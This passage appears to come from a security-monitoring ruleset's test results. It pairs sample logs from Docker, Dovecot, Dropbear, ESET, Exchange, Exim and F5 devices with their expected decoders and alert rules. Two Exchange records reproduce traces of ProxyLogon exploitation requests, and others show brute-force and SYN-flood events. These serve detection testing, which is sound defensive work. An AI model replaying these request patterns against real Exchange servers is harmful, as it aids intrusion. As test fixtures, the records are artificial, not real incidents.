"docker_integration.ini", "section": "Docker network created"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"network\", \"Action\": \"destroy\", \"Actor\": {\"ID\": \"networkacedfgh456\", \"Attributes\": {\"name\": \"wazuh-network\", \"type\": \"bridge\"}}, \"scope\": \"local\", \"time\": 1766396200, \"timeNano\": 1766396200444555666}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "destroy", "docker.Actor.Attributes.name": "wazuh-network", "docker.Actor.Attributes.type": "bridge", "docker.Actor.ID": "networkacedfgh456", "docker.Type": "network", "docker.scope": "local", "docker.time": "1766396200", "docker.timeNano": "1766396200444555776.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.name", "docker.Actor.Attributes.type", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87931", "level": "5", "expected_decoder": "json", "expected_rule": "87931", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker network destroyed"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"image\", \"Action\": \"pull\", \"Actor\": {\"ID\": \"imageacedfgh789\", \"Attributes\": {\"name\": \"nginx:latest\"}}, \"scope\": \"local\", \"time\": 1766396300, \"timeNano\": 1766396300777888999}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "pull", "docker.Actor.Attributes.name": "nginx:latest", "docker.Actor.ID": "imageacedfgh789", "docker.Type": "image", "docker.scope": "local", "docker.time": "1766396300", "docker.timeNano": "1766396300777889024.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87932", "level": "3", "expected_decoder": "json", "expected_rule": "87932", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker image pulled"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"pause\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766396400, \"timeNano\": 1766396400123456789}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "pause", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766396400", "docker.timeNano": "1766396400123456768.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87905", "level": "3", "expected_decoder": "json", "expected_rule": "87905", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container paused"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"unpause\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766396500, \"timeNano\": 1766396500987654321}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "unpause", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766396500", "docker.timeNano": "1766396500987654400.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87906", "level": "3", "expected_decoder": "json", "expected_rule": "87906", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container unpaused"} +{"log": "Dec 19 06:21:06 ny dovecot: imap-login: Disconnected (auth failed, 7 attempts in 111 secs): user=, method=PLAIN, rip=109.201.200.201, lip=67.205.141.203, session=<+hgd5vxDBMZtycjJ>", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstip": "67.205.141.203", "srcip": "109.201.200.201", "srcuser": ""}, "field_names": ["dstip", "srcip", "srcuser"], "rule": "9705", "level": "5", "expected_decoder": "dovecot", "expected_rule": "9705", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "auth failed"} +{"log": "Jan 11 03:45:09 hostname dovecot: auth-worker(default): sql(username,1.2.3.4): unknown user", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstuser": "username", "srcip": "1.2.3.4"}, "field_names": ["dstuser", "srcip"], "rule": "9705", "level": "5", "expected_decoder": "dovecot", "expected_rule": "9705", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "auth failed"} +{"log": "Jan 11 03:42:09 hostname dovecot: auth(default): pam(user@example.com,1.2.3.4): pam_authenticate() failed: User not known to the underlying authentication module", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstuser": "user@example.com", "srcip": "1.2.3.4"}, "field_names": ["dstuser", "srcip"], "rule": "9705", "level": "5", "expected_decoder": "dovecot", "expected_rule": "9705", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "auth failed"} +{"log": "Jun 17 10:15:24 hostname dovecot: Dovecot v1.2.rc3 starting up (core dumps disabled)", "decoder": "dovecot", "parent": "", "fields": {}, "field_names": [], "rule": "9703", "level": "3", "expected_decoder": "dovecot", "expected_rule": "9703", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "dovecot is starting"} +{"log": "Jun 17 10:15:24 hostname dovecot: Fatal: auth(default): Support not compiled in for passdb driver 'ldap'", "decoder": "dovecot", "parent": "", "fields": {}, "field_names": [], "rule": "9704", "level": "2", "expected_decoder": "dovecot", "expected_rule": "9704", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "fatal error"} +{"log": "Jun 17 10:15:24 hostname dovecot: Fatal: Auth process died too early - shutting down", "decoder": "dovecot", "parent": "", "fields": {}, "field_names": [], "rule": "9704", "level": "2", "expected_decoder": "dovecot", "expected_rule": "9704", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "fatal error"} +{"log": "Jun 23 15:04:05 Info: imap-login: Login: user=, method=PLAIN, rip=1.2.3.4, lip=1.2.3.5 Authentication Failure:", "decoder": "dovecot-info", "parent": "dovecot-info", "fields": {"dstip": "1.2.3.5", "dstuser": "", "srcip": "1.2.3.4"}, "field_names": ["dstip", "dstuser", "srcip"], "rule": "9770", "level": "0", "expected_decoder": "dovecot-info", "expected_rule": "9770", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "user authentication failure"} +{"log": "Jan 11 03:42:09 hostname dovecot: auth-worker(default): sql(user@example.com,1.2.3.4): Password mismatch", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstuser": "user@example.com", "srcip": "1.2.3.4"}, "field_names": ["dstuser", "srcip"], "rule": "9702", "level": "5", "expected_decoder": "dovecot", "expected_rule": "9702", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "dovecot auth failed"} +{"log": "Mar 13 15:25:07 Info: auth(default): pam(user@example.com,::ffff:1.2.3.4): pam_authenticate() failed: User not known to the underlying authentication module", "decoder": "dovecot-info", "parent": "", "fields": {"dstuser": "user@example.com", "srcip": "::ffff:1.2.3.4"}, "field_names": ["dstuser", "srcip"], "rule": "9771", "level": "5", "expected_decoder": "dovecot-info", "expected_rule": "9771", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "XXX unknown 1002"} +{"log": "Jul 4 17:30:51 hostname dovecot[2992]: pop3-login: Disconnected: rip=1.2.3.4, lip=1.2.3.5", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstip": "1.2.3.5", "srcip": "1.2.3.4"}, "field_names": ["dstip", "srcip"], "rule": "9706", "level": "3", "expected_decoder": "dovecot", "expected_rule": "9706", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "session disconnected"} +{"log": "Jan 30 09:37:55 hostname dovecot: pop3-login: Aborted login: user=, method=PLAIN, rip=::ffff:1.2.3.4, lip=::ffff:1.2.3.5", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstip": "::ffff:1.2.3.5", "dstuser": "username", "srcip": "::ffff:1.2.3.4"}, "field_names": ["dstip", "dstuser", "srcip"], "rule": "9707", "level": "5", "expected_decoder": "dovecot", "expected_rule": "9707", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "aborted login"} +{"log": "Mar 13 15:25:07 Info: auth(default): passwd-file(user@example.com,::ffff:1.2.3.4): unknown user", "decoder": "dovecot-info", "parent": "", "fields": {"dstuser": "user@example.com", "srcip": "::ffff:1.2.3.4"}, "field_names": ["dstuser", "srcip"], "rule": "9771", "level": "5", "expected_decoder": "dovecot-info", "expected_rule": "9771", "rule_matches_expected": true, "ini_file": "dovecot.ini", "section": "unknown user"} +{"log": "Jan 8 16:39:33 tp.lan dropbear[14824]: Bad password attempt for 'root' from 193.219.28.149:48629", "decoder": "dropbear", "parent": "dropbear", "fields": {"dstuser": "root", "srcip": "193.219.28.149"}, "field_names": ["dstuser", "srcip"], "rule": "51003", "level": "5", "expected_decoder": "dropbear", "expected_rule": "51003", "rule_matches_expected": true, "ini_file": "dropbear.ini", "section": "Dropbear: bad password attempt"} +{"log": "Jan 8 19:54:12 tp.lan dropbear[15197]: Login attempt for nonexistent user from 182.72.89.122:4328", "decoder": "dropbear", "parent": "dropbear", "fields": {"srcip": "182.72.89.122"}, "field_names": ["srcip"], "rule": "51093", "level": "5", "expected_decoder": "dropbear", "expected_rule": "51093", "rule_matches_expected": true, "ini_file": "dropbear.ini", "section": "Dropbear: bad password attempt for non-existing user"} +{"log": "Jan 8 19:32:41 tp.lan dropbear[15165]: Pubkey auth succeeded for 'root' with key md5 78:d6:41:ca:78:37:80:88:1d:15:0a:68:91:d1:4e:ad from 10.10.10.241:51737", "decoder": "dropbear", "parent": "", "fields": {"dstuser": "root", "extra_data": "78:d6:41:ca:78:37:80:88:1d:15:0a:68:91:d1:4e:ad", "srcip": "10.10.10.241", "status": "succeeded"}, "field_names": ["dstuser", "extra_data", "srcip", "status"], "rule": "51010", "level": "0", "expected_decoder": "dropbear", "expected_rule": "51010", "rule_matches_expected": true, "ini_file": "dropbear.ini", "section": "Dropbear: User successfully logged in using a public key"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"Threat_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Information\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "Threat_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Information", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42002", "level": "3", "expected_decoder": "eset-bsd", "expected_rule": "42002", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Threat event rules group"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"FirewallAggregated_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Information\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "FirewallAggregated_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Information", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42003", "level": "3", "expected_decoder": "eset-bsd", "expected_rule": "42003", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Firewall aggregated rules group"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"HipsAggregated_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Information\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "HipsAggregated_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Information", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42004", "level": "3", "expected_decoder": "eset-bsd", "expected_rule": "42004", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: HIPS aggregated rules group"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"Audit_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Information\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "Audit_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Information", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42005", "level": "2", "expected_decoder": "eset-bsd", "expected_rule": "42005", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Audit rules group"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"EnterpriseInspectorAlert_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Information\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "EnterpriseInspectorAlert_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Information", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42006", "level": "3", "expected_decoder": "eset-bsd", "expected_rule": "42006", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Enterprise inspector alert rules group"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"HipsAggregated_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Warning\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "HipsAggregated_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Warning", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42007", "level": "5", "expected_decoder": "eset-bsd", "expected_rule": "42007", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Warning severity"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"HipsAggregated_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Error\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "HipsAggregated_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Error", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42008", "level": "7", "expected_decoder": "eset-bsd", "expected_rule": "42008", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Error severity"} +{"log": "May 6 10:59:37 XXXXX ERAServer[5032]: {\"event_type\":\"HipsAggregated_Event\",\"ipv4\":\"XXX.XXX.XXX.XXX\",\"hostname\":\"XXXXX\",\"source_uuid\":\"9416183d-3XX3-4776-9783-9532a3a027bb\",\"occured\":\"06-May-2021 09:59:37\",\"severity\":\"Critical\",\"domain\":\"Domain group\",\"action\":\"Login attempt\",\"target\":\"a49d257e-ecc6-4063-95c6-5eb5e6b3e5df\",\"detail\":\"Authenticating domain user 'XXXXXXXX'.\",\"user\":\"\",\"result\":\"Success\"}", "decoder": "eset-bsd", "parent": "", "fields": {"action": "Login attempt", "detail": "Authenticating domain user 'XXXXXXXX'.", "domain": "Domain group", "dstuser": "", "event_type": "HipsAggregated_Event", "hostname": "XXXXX", "ipv4": "XXX.XXX.XXX.XXX", "occured": "06-May-2021 09:59:37", "result": "Success", "severity": "Critical", "source_uuid": "9416183d-3XX3-4776-9783-9532a3a027bb", "target": "a49d257e-ecc6-4063-95c6-5eb5e6b3e5df"}, "field_names": ["action", "detail", "domain", "dstuser", "event_type", "hostname", "ipv4", "occured", "result", "severity", "source_uuid", "target"], "rule": "42009", "level": "12", "expected_decoder": "eset-bsd", "expected_rule": "42009", "rule_matches_expected": true, "ini_file": "eset.ini", "section": "ESET: Critical severity"} +{"log": "2021-04-06T14:54:34.255Z,61d2c86f-f9bb-456d-88c0-3529172510ac,15,0,847,30,,Ecp,192.168.0.60,/ecp/lkO.js,,FBA,False,,,ServerInfo~Admin@WIN-03FGEGKLSPR:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=Sw7TsEblh0O9yAO2zOMLYYjmrzSe-tgIeEyMoR9keCLkC8uBhZ54ExFEhXKulvSv9x5C62ymOnE.&a=,Mozilla/5.0,192.168.0.127,WIN-03FGEGKLSPR,200,200,,POST,Proxy,win-03fgegklspr,41.42.31996.000,CrossRegion,X-BEResource-Cookie,,,,159,598,1,,0,0,,0,,0,,0,0,6375,0,0,1,0,6378,0,0,0,6380,0,6378,1,2,2,6380,,,CorrelationID=;BeginRequest=2021-04-06T14:54:27.880Z;ProxyState-Run=None;BeginGetRequestStream=2021-04-06T14:54:27.880Z;OnRequestStreamReady=2021-04-06T14:54:27.880Z;BeginGetResponse=2021-04-06T14:54:27.880Z;OnResponseReady=2021-04-06T14:54:34.255Z;EndGetResponse=2021-04-06T14:54:34.255Z;ProxyState-Complete=ProxyResponseData;,", "decoder": "HTTPProxyLog", "parent": "", "fields": {}, "field_names": [], "rule": "91002", "level": "12", "expected_decoder": "HTTPProxyLog", "expected_rule": "91002", "rule_matches_expected": true, "ini_file": "exchange.ini", "section": "MS Exchange - Possible ProxyLogon vulnerability exploitation (CVE-2021-26855)."} +{"log": "2021-04-06T14:54:38.677Z,WIN-03FGEGKLSPR,ECP.Request,\"S:TIME=4365;S:SID=3a5d3a0b-a544-4d5c-9b1d-3d33d4968b48;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://o/#bad code goes here''.Identity=''87fc3593-ca62-4d08-93bd-782275d33c1''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=MALCOD.&a=%5D:444/ecp/lkO.js;S:EX=;S:ACTID=c3f8f7e0-9817-46da-9ed4-fe575da51fbd;S:RS=0;S:BLD=15.0.847.32", "decoder": "ECPServerLog", "parent": "", "fields": {}, "field_names": [], "rule": "91003", "level": "12", "expected_decoder": "ECPServerLog", "expected_rule": "91003", "rule_matches_expected": true, "ini_file": "exchange.ini", "section": "MS Exchange - Possible ProxyLogon vulnerability exploitation (CVE-2021-27065)."} +{"log": "2017-01-23 03:44:14 dovecot_login authenticator failed for (hydra) [10.101.1.18]:35686: 535 Incorrect authentication data (set_id=user)", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"dstuser": "user", "srcip": "10.101.1.18"}, "field_names": ["dstuser", "srcip"], "rule": "87502", "level": "5", "expected_decoder": "windows-date-format", "expected_rule": "87502", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim auth failure"} +{"log": "2017-01-24 05:22:29 dovecot_plain authenticator failed for (test) [::1]:39454: 535 Incorrect authentication data (set_id=test)", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"dstuser": "test", "srcip": "::1"}, "field_names": ["dstuser", "srcip"], "rule": "87502", "level": "5", "expected_decoder": "windows-date-format", "expected_rule": "87502", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim auth failure"} +{"log": "2017-01-24 03:09:46 SMTP connection from [10.101.1.10]:55010 (TCP/IP connection count = 1)", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"srcip": "10.101.1.10"}, "field_names": ["srcip"], "rule": "87504", "level": "0", "expected_decoder": "windows-date-format", "expected_rule": "87504", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim connection"} +{"log": "2017-01-24 02:53:13 SMTP connection from (hydra) [10.101.1.10]:53682 lost", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {}, "field_names": [], "rule": "87505", "level": "1", "expected_decoder": "windows-date-format", "expected_rule": "87505", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim connection lost"} +{"log": "2017-01-24 05:36:23 SMTP call from (000000) [::1]:39480 dropped: too many syntax or protocol errors (last command was \"123\")", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"srcip": "::1"}, "field_names": ["srcip"], "rule": "87506", "level": "5", "expected_decoder": "windows-date-format", "expected_rule": "87506", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim syntax/protocol error"} +{"log": "2019-10-20 11:14:38 SMTP protocol synchronization error (input sent without waiting for greeting): rejected connection from H=[134.234.45.34] input=\"GET / HTTP/1.1\\r\\nHost: 24.255.212.213:98\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0\\r\\nAccept: */*\\r\\n\"", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"input": "GET / HTTP/1.1\\r\\nHost: 24.255.212.213:98\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0\\r\\nAccept: */*\\r\\n", "srcip": "134.234.45.34"}, "field_names": ["input", "srcip"], "rule": "87507", "level": "6", "expected_decoder": "windows-date-format", "expected_rule": "87507", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim protocol synchronization error"} +{"log": "2019-10-20 09:56:39 H=123-123-12-123.example.example.net [123.123.12.123] F= rejected RCPT : Unrouteable address", "decoder": "windows-date-format", "parent": "windows-date-format", "fields": {"dstip": "123.123.12.123", "error_message": "Unrouteable address", "host": "123-123-12-123.example.example.net", "src_email": "example@exampley.com"}, "field_names": ["dstip", "error_message", "host", "src_email"], "rule": "87508", "level": "6", "expected_decoder": "windows-date-format", "expected_rule": "87508", "rule_matches_expected": true, "ini_file": "exim.ini", "section": "exim Unrouteable address"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010251:0: Virtual componentName exceeded configured rate limit.", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010251", "event.type": "type", "log.level": "0", "message": "Virtual componentName exceeded configured rate limit.", "process.name": "process", "process.pid": "20175", "server_name": "Virtual componentName exceeded configured rate limit."}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid", "server_name"], "rule": "65261", "level": "9", "expected_decoder": "f5-bigip", "expected_rule": "65261", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "high-demand traffic"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010343:0: Syncookie SW mode activated, server = 1.1.1.1:4000", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010343", "event.type": "type", "log.level": "0", "message": "Syncookie SW mode activated, server = 1.1.1.1:4000", "process.name": "process", "process.pid": "20175", "srcip": "1.1.1.1", "srcport": "4000"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid", "srcip", "srcport"], "rule": "65262", "level": "13", "expected_decoder": "f5-bigip", "expected_rule": "65262", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "SYN flood attack"} +{"log": "May 5 04:26:19 hostname type process[20175]: 011e0001:0: Limiting componentName from 40 to 40 packets/sec for traffic-group componentName", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "011e0001", "event.type": "type", "log.level": "0", "message": "Limiting componentName from 40 to 40 packets/sec for traffic-group componentName", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65263", "level": "9", "expected_decoder": "f5-bigip", "expected_rule": "65263", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Stopped throttling traffic"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010038:0: Syncookie counter 40 exceeded vip threshold %u for virtual = 1.1.1.1:4000", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010038", "event.type": "type", "log.level": "0", "message": "Syncookie counter 40 exceeded vip threshold %u for virtual = 1.1.1.1:4000", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65264", "level": "9", "expected_decoder": "f5-bigip", "expected_rule": "65264", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "SYN cookie threshold is reached"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010240:0: Syncookie HW mode activated, server = 1.1.1.1:4000, HSB modId = 40", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01010240", "event.type": "type", "log.level": "0", "message": "Syncookie HW mode activated, server = 1.1.1.1:4000, HSB modId = 40", "process.name": "process", "process.pid": "20175", "srcip": "1.1.1.1", "srcport": "4000"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid", "srcip", "srcport"], "rule": "65265", "level": "13", "expected_decoder": "f5-bigip", "expected_rule": "65265", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "Detected a syncookie DOS attack"} +{"log": "May 5 04:26:19 hostname type process[20175]: 01010329:0: BDoS: (TMM) Signature componentName: threshold_mode=componentName detection=%u mitigation_curr=%llu", "decoder": "f5-bigip", 